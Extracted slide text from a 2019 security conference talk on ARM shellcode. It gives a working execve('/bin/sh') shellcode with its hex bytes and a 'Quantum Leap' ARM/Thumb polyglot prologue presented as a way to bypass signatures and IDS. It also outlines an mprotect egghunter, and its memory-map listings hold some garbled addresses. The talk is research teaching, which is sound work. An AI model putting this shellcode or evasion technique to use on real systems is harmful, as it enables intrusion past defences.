Make ARM Shellcode Great Again

Saumil Shah
@therealsaumil

#HITB2019AMS
9 May, Amsterdam
# who am i

CEO Net-square.

• Hacker, Speaker, Trainer, Author.
• M.S. Computer Science Purdue University.
• LinkedIn: saumilshah
• Twitter: @therealsaumil
Agenda

• A background on ARM shellcode
• My research around ARM shellcode
  – polyglot tricks - ARM Quantum Leap shellcode
• Demos
• Extra
  – space limitations - ARM mprotect Egghunter
Example: ARM execve() Shellcode

exec command "/bin/sh"
Example: ARM execve() Shellcode

```
.section .text
.global _start
_start:
    .code 32
        add     r1, pc, #1
        bx      r1
    .code 16
        adr     r0, SHELL
        eor     r1, r1, r1
        eor     r2, r2, r2
        strb    r2, [r0, #7]
       mov     r7, #11
        svc     #1
    .balign 4
    SHELL:
        .ascii "/bin/shz"
```

Switch to Thumb mode:
```
branch pc + 1
```

**ARM CODE**
```
00: e28f1001 add r1, pc, #1
04: e12fff11 bx r1
```

**THUMB CODE**
```
08: a002 add r0, pc, #8
0a: 4049 eors r1, r1
0c: 4052 eors r2, r2
0e: 71c2 strb r2, [r0, #7]
10: 270b movs r7, #11
12: df01 svc 1
```

**LITERAL POOL**
```
14: 6e69622f .word 0x6e69622f
18: 5a68732f .word 0x5a68732f
```
Example: ARM execve() Shellcode

```
.section .text
.global _start
_start:
    .code 32
    add r1, pc, #1
    bx r1

    .code 16
    adr r0, SHELL
    eor r1, r1, r1
    eor r2, r2, r2
    strb r2, [r0, #7]
    mov r7, #11
    svc #1

    .balign 4
SHELL:
    .ascii "/bin/shz"
```

- Mostly begins with an ARM-to-Thumb mode switch.
- Rest of the shellcode implemented in Thumb mode.
- Compact, avoids bad characters, etc.
ARM Mode

- 4 byte (32 bits) width
- Can use ALL registers in operands (r0-r10)
- Conditional Execution
- Efficient code

THUMB Mode

- 2 byte (16 bits) width
- Can use LIMITED registers in operands (r0-r7 only)
- No Conditional Execution
- Compact code
- Released with ARM7TDMI
Some Concerns / Arguments

• "I can signature this" - YARA, IDS, ...

01 10 8f e2 11 ff 2f e1 02 a0 49 40 52 40
c2 71 0b 27 01 df 2f 62 69 6e 2f 73 68 5a

• Thumb-only processor? e.g: STM32

One Shellcode To Run Them All!
ARM/THUMB Encoding: \texttt{mov r1, \#7}
Schrödinger's Instruction Set

ARM

THUMB

SAME
SAME

BUT

DIFFERENT

#HITB2019AMS

(c) SAUMIL SHAH
## Opening the Box

<table>
<thead>
<tr>
<th>N</th>
<th>Z</th>
<th>C</th>
<th>V</th>
<th>Q</th>
<th>J</th>
<th>GE</th>
<th>E</th>
<th>A</th>
<th>I</th>
<th>F</th>
<th>T</th>
<th>M</th>
</tr>
</thead>
<tbody>
<tr>
<td>Negative</td>
<td>Zero</td>
<td>Carry</td>
<td>overflow</td>
<td>underflow</td>
<td>Jazelle</td>
<td>SIMD</td>
<td>Endianness</td>
<td>Abort disable</td>
<td>IRQ disable</td>
<td>FIQ disable</td>
<td>Thumb</td>
<td>privilege mode</td>
</tr>
</tbody>
</table>

- **N**: Negative
- **Z**: Zero
- **C**: Carry
- **V**: Overflow
- **Q**: Underflow
- **J**: Jazelle
- **GE**: SIMD
- **E**: Endianness
- **A**: Abort disable
- **I**: IRQ disable
- **F**: FIQ disable
- **T**: Thumb
- **M**: Privilege mode
Problem statement:
After running the ARM Egg Hunter, it may happen that the egg may not land at a 4 byte aligned address.

The processor mode is not deterministic. It can be ARM or Thumb.

ARM → ARM code
Switch to Thumb mode

Thumb → Thumb Shellcode

Thumb → same code will not crash when interpreted as Thumb instructions

Thumb Shellcode

QUANTUM LEAP SHELLCODE
## "Quantum Leap" Shellcode

<table>
<thead>
<tr>
<th>Start in ARM mode</th>
<th>Start in THUMB mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;LEAP&quot;</td>
<td>QUANTUM LEAP</td>
</tr>
<tr>
<td>TO</td>
<td>PASS</td>
</tr>
<tr>
<td>THUMB mode</td>
<td>THROUGH</td>
</tr>
<tr>
<td>THUMB shellcode (execve, reverse, ...)</td>
<td>PASS</td>
</tr>
<tr>
<td></td>
<td>THROUGH</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
"Quantum Leap" - what we need

• An deeper understanding of ARM and Thumb instruction encoding:
  – ARM instruction: "DO SOMETHING"
  – 2 THUMB instructions: "PASS THROUGH"

• Conditional Execution in ARM instructions
  – very helpful!

• A little bit of luck and perseverance.

• Nomenclature Credit: "dialup" @44CON.
The ARM to Thumb switch

**ORIGINAL ARM CODE** (T = 0)

```
0: e28f1001 add r1, pc, #1
4: e12fff11 bx r1
8: 270b      movs r7, #11
a: beff      bkpt 0x00ff
```

**"THUMB VIEW"** (T = 1)

```
0: 1001 asrs r1, r0, #32 ✔️
2: e28f     b.n 524 ✗
4: ff11 e12f vrhadd.u16 d14,d1,d31 ✗
8: 270b      movs r7, #11
a: beff      bkpt 0x00ff
```

- Avoid "destructive" instructions
  - Branches, Load/Store, Floating Point, etc.
  - Illegal instructions.

- Also work on ARMv6 (no Thumb2)
ARM and THUMB decoding - 1

4 BYTE ARM INSTRUCTION - add r1, pc, #1

e28f1001

1110 0010 1000 1111

0001 0000 0000 0001

add r1, pc, #1

Thumb instruction 1

Thumb instruction 2

• Controlled by ARM Opcode and conditional flags.
• Part influenced by Operand 1 (ARM).
• Trickier to control.

• Controlled by Destination and Operand 2 of the ARM instruction.
• Easier to control.
ARM and THUMB decoding - 1

1 ARM INSTRUCTION RESULTING INTO 2 THUMB INSTRUCTIONS:

Thumb Opcode 2 influenced by ARM conditional bits
Thumb Opcode 1 influenced by ARM destination operand
Branch instructions are destructive
Have to tweak conditional bits

Add: r1, pc, #1
Asrs: r1, r0, #32
Branch instructions are destructive

1001 1110 0010 1000 1111
0001 0000 0000 0001

1 ARM INSTRUCTION RESULTING INTO 2 THUMB INSTRUCTIONS:

Add: r1, pc, #1
Asrs: r1, r0, #32
Branch instructions are destructive
Have to tweak conditional bits

1001 1110 0010 1000 1111
0001 0000 0000 0001
Conditional Instructions

• How do we change the conditional bits?
• Eh... what ARE "conditional bits?"
• Every ARM instruction can be made CONDITIONAL.

  ADD
  add r1, pc, #1

  ADD IF NOT EQUALS
  addne r1, pc, #1

• addne triggers ONLY if a "not equals" condition exists (zero flag = 1)
# Conditional Suffixes

<table>
<thead>
<tr>
<th>Condition</th>
<th>Description</th>
<th>Expression</th>
</tr>
</thead>
<tbody>
<tr>
<td>EQ</td>
<td>Equal To</td>
<td>$Z == 1$</td>
</tr>
<tr>
<td>NE</td>
<td>Not Equal To</td>
<td>$Z == 0$</td>
</tr>
<tr>
<td>GT</td>
<td>Greater Than (signed)</td>
<td>$Z == 0 &amp;&amp; N == V$</td>
</tr>
<tr>
<td>GE</td>
<td>Greater Than or Equal To (signed)</td>
<td>$N == V$</td>
</tr>
<tr>
<td>LT</td>
<td>Less Than (signed)</td>
<td>$N \neq V$</td>
</tr>
<tr>
<td>LE</td>
<td>Less Than or Equal To (signed)</td>
<td>$Z == 1 \mid \mid N \neq V$</td>
</tr>
<tr>
<td>HI</td>
<td>Higher (unsigned)</td>
<td>$C == 1 &amp;&amp; Z == 0$</td>
</tr>
<tr>
<td>LS</td>
<td>Lesser (unsigned)</td>
<td>$C == 0 \mid \mid Z == 1$</td>
</tr>
<tr>
<td>CS</td>
<td>Carry Set</td>
<td>$C == 1$</td>
</tr>
<tr>
<td>CC</td>
<td>Carry Clear</td>
<td>$C == 0$</td>
</tr>
<tr>
<td>MI</td>
<td>Minus / Negative</td>
<td>$N == 1$</td>
</tr>
<tr>
<td>PL</td>
<td>Plus / Positive</td>
<td>$N == 0$</td>
</tr>
<tr>
<td>VS</td>
<td>Overflow Set</td>
<td>$V == 1$</td>
</tr>
<tr>
<td>VC</td>
<td>Overflow Clear</td>
<td>$V == 0$</td>
</tr>
</tbody>
</table>
(Un)conditional Instructions

• How can we turn an ARM instruction into a conditional instruction...
• ...with guaranteed execution everytime?
• COMPLIMENTARY CONDITIONS!

<table>
<thead>
<tr>
<th>UNCONDITIONAL INSTRUCTION</th>
<th>COMPLIMENTARY CONDITIONS</th>
</tr>
</thead>
<tbody>
<tr>
<td>e28f1001 add r1, pc, #1</td>
<td>128f1005 addne r1, pc, #5</td>
</tr>
<tr>
<td></td>
<td>028f1001 addeq r1, pc, #1</td>
</tr>
</tbody>
</table>

• One of the instructions is guaranteed to execute, irrespective of condition flags.
ARM and THUMB decoding - 2

USING CONDITIONAL ARM INSTRUCTIONS:

128f1005: 0001 0010 1000 1111 0001 0000 0000 0101

128f: 0001 0010 1000 1111

1005: 0001 0000 0000 0101

asrs r5, r0, #32 ✓
asrs r7, r1, #10 ✓

028f1001: 0000 0010 1000 1111 0001 0000 0000 0001

028f: 0000 0010 1000 1111

1001: 0001 0000 0000 0001

asrs r1, r0, #32 ✓
lsls r7, r1, #10 ✓

Complimentary Conditional ARM instructions

No destructive instructions in Thumb mode

(c) SAUMIL SHAH
## Final "Quantum Leap" Code

<table>
<thead>
<tr>
<th>QUANTUM LEAP: ARM TO THUMB</th>
<th>QUANTUM LEAP: PASS THROUGH (THUMB)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0: 228fa019 addcs s1, pc, #25</td>
<td>0: a019 add r0, pc, #100</td>
</tr>
<tr>
<td>4: 328fa015 addcc s1, pc, #21</td>
<td>2: 228f movs r2, #143</td>
</tr>
<tr>
<td>8: 21a0400d movcs r4, sp</td>
<td>4: a015 add r0, pc, #84</td>
</tr>
<tr>
<td>c: 31a0400d movcc r4, sp</td>
<td>6: 328f adds r2, #143</td>
</tr>
<tr>
<td>10: 292d0412 pushcs {r1, r4, s1}</td>
<td>8: 400d ands r5, r1</td>
</tr>
<tr>
<td>14: 392d0412 pushcc {r1, r4, s1}</td>
<td>a: 21a0 movs r1, #160</td>
</tr>
<tr>
<td>18: 28bda002 popcs {r1, sp, pc}</td>
<td>c: 400d ands r5, r1</td>
</tr>
<tr>
<td>1c: 38bda002 popcc {r1, sp, pc}</td>
<td>e: 31a0 adds r1, #160</td>
</tr>
<tr>
<td>20: REGULAR SHELLCODE FOLLOWS</td>
<td>10: 0412 lsls r2, r2, #16</td>
</tr>
<tr>
<td>22: IN THUMB MODE FROM NOW ON</td>
<td>12: 292d cmp r1, #45</td>
</tr>
<tr>
<td></td>
<td>14: 0412 lsls r2, r2, #16</td>
</tr>
<tr>
<td></td>
<td>16: 392d subs r1, #45</td>
</tr>
<tr>
<td></td>
<td>18: a002 add r0, pc, #8</td>
</tr>
<tr>
<td></td>
<td>1a: 28bd cmp r0, #189</td>
</tr>
<tr>
<td></td>
<td>1c: a002 add r0, pc, #8</td>
</tr>
<tr>
<td></td>
<td>1e: 38bd subs r0, #189</td>
</tr>
<tr>
<td></td>
<td>20: REGULAR SHELLCODE FOLLOWS</td>
</tr>
<tr>
<td></td>
<td>22: IN THUMB MODE FROM NOW ON</td>
</tr>
</tbody>
</table>

**NET SQUARE**  
(c) SAUMIL SHAH  
#HITB2019AMS
Assembling the Quantum Leap

- Took many iterations to finalise!
- `bx sl` implemented by push `{sl}`, pop `{pc}`.
- Register list proved to be a challenge.
- Registers r4, sl altered in ARM.
- Registers r0, r1, r2, r5 altered in Thumb.

- No Thumb2 instructions.
- No NULL bytes.
Problem statement:
After running the ARM EggHunter, it may happen that the egg may not land at a 4 byte aligned address.

The processor mode is not deterministic. It can be ARM or Thumb.

**ARM** → **ARM code** → **Switch to Thumb Mode** → **Thumb Shellcode**

**Thumb** → **Same code will not crash when interpreted as Thumb instructions** → **Thumb Shellcode**
ARM Egghunter

EXTRAS

Shellcode...

Resultant address = EGG +...
Shellcode in tight spaces

- What if payload exceeds size "constraints"?
  - Overwrite local variables.
  - Bottom of the stack.
- Many solutions.
Egghunter

- Searches for an EGG (4+4 byte value) in the process memory.
- Uses syscalls to determine whether a memory page exists or not (safely).
- Upon finding it, Egghunter transfers the control to the code following the EGG.
- Nothing new here - done before.
Egghunter

gef> vmmap
Start      End        Perm Path
0x00008000 0x00009000 rw-  /home/pi/eggbreak
0x00010000 0x00011000 rw-  /home/pi/eggbreak
0x00011000 0x00032000 rw-  [heap]
0xb6e9c000 0xb6fbe000 r-  /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fbe000 0xb6fc5000 --- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc5000 0xb6fc7000 r-- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc7000 0xb6fc8000 rw- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc8000 0xb6fcf000 rw-
0xb6fd8000 0xb6ff5000 r-x /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6ffa000 0xb6fffd000 rw-
0xb6fffd000 0xb6ffe000 r-- /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6ffe000 0xb6fff000 rw- /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6fff000 0xb7000000 r-x [sigpage]
0xbeff0000 0xbeffe000 rw-
0xbeffe000 0xbf000000 rwx [stack]

Binary

heap

Lib

Lib

stack

overflow

ROP

egghunter

RWX - by ROP chain
Search for HACK+HACK
one page at a time.
Egghunter - DEP

• If EGG+shellcode is in a different memory region, then it may not be executable
  – Overflow in the stack
  – Shellcode in the heap

• Enter the mprotect egghunter!
mprotect Egghunter

gef> vmmmap
Start    End        Perm Path
0x00008000 0x00009000 rwx  /home/pi/eggbreak
0x00001000 0x00011000 rwx  /home/pi/eggbreak
0x000011000 0x00012000 rw  [heap]
0x00012000 0x00032000 rw-  [heap]
0xb6e9c000 0xb6fbe000 r- x  /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fde000 0xb6fd5000 ---  /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc5000 0xb6fc7000 r--  /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc7000 0xb6fc8000 rw-  /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc8000 0xb6fcb000 rw-  [heap]
0xb6fde000 0xb6fd5000 r- x  /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6fde000 0xb6ff0000 r--  /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6ff0000 0xb6ff0000 rw-  /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6fde000 0xb7000000 r- x  [sigpage]
0xbefdf000 0xbefde000 rw-  [heap]
0xbefde000 0xbf000000 rwx  [stack]
mprotect Egghunter

DEMO
Conclusion

• ARM/Thumb Polyglot instructions offer many opportunities for OBfuscation and SIGNATURE bypass.
• Lots of exploration opportunities in ARM shellcoding.

https://github.com/therealsaumil/arm_shellcode
exit(0)

Saumil Shah
@therealsaumil